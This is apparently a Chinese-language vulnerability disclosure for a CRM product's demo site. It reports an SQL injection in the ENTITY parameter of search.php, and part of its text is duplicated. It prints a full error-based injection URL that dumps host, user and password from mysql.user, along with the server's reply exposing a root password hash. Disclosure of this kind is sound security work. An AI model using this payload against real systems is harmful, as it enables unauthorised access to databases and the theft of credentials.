### 简要描述: 无语了。。。 ### 详细说明: 官网demo登录试用: http://www.day900.com/ 发现这个: http://www.day900.com/general/crm/apps/crm/include/search.php?ENTITY=crm_marketing&PAGE_SIZE=10&CUR_PAGE=&ORDERFIELD=&ORDERTYPE=&USER_VIEW=1706 payload:ENTITY=crm_marketing' 返回这个: 请联系管理员 错误#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_market' at line 1 SQL语句: SELECT count(*) FROM crm_marketing\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_marketing\'.share_man) ) and (crm_marketing.marketing_type = '技术培训' and (crm_marketing.marketing_status <> 'STATUS_NAME_34' OR crm_marketing.marketing_status IS NULL) ) 文件:/general/crm/apps/crm/include/search.php 注入点竟然在from 处,就是什么表都可以查咯 上payload:...
### 简要描述: 无语了。。。 ### 详细说明: 官网demo登录试用: http://www.day900.com/ 发现这个: http://www.day900.com/general/crm/apps/crm/include/search.php?ENTITY=crm_marketing&PAGE_SIZE=10&CUR_PAGE=&ORDERFIELD=&ORDERTYPE=&USER_VIEW=1706 payload:ENTITY=crm_marketing' 返回这个: 请联系管理员 错误#1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_market' at line 1 SQL语句: SELECT count(*) FROM crm_marketing\' WHERE crm_marketing\'.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_marketing\'.share_man) ) and (crm_marketing.marketing_type = '技术培训' and (crm_marketing.marketing_status <> 'STATUS_NAME_34' OR crm_marketing.marketing_status IS NULL) ) 文件:/general/crm/apps/crm/include/search.php 注入点竟然在from 处,就是什么表都可以查咯 上payload: crm_marketing%20where%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 即: http://www.day900.com/general/crm/apps/crm/include/search.php?ENTITY=crm_marketing%20where%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&PAGE_SIZE=10&CUR_PAGE=&ORDERFIELD=&ORDERTYPE=&USER_VIEW=1706 返回root@密码: 错误#1062: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 'group_key' SQL语句: SELECT count(*) FROM crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)# WHERE crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#.deleted = 0 AND ( 0 OR FIND_IN_SET('ghq',crm_marketing where (select 1 from (select count(*),concat((select concat(host,user,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#.share_man) ) and (crm_marketing.marketing_type = '技术培训' and (crm_marketing.marketing_status <> 'STATUS_NAME_34' OR crm_marketing.marketing_status IS NULL) ) 文件:/general/crm/apps/crm/include/search.php ### 漏洞证明: 见详细说明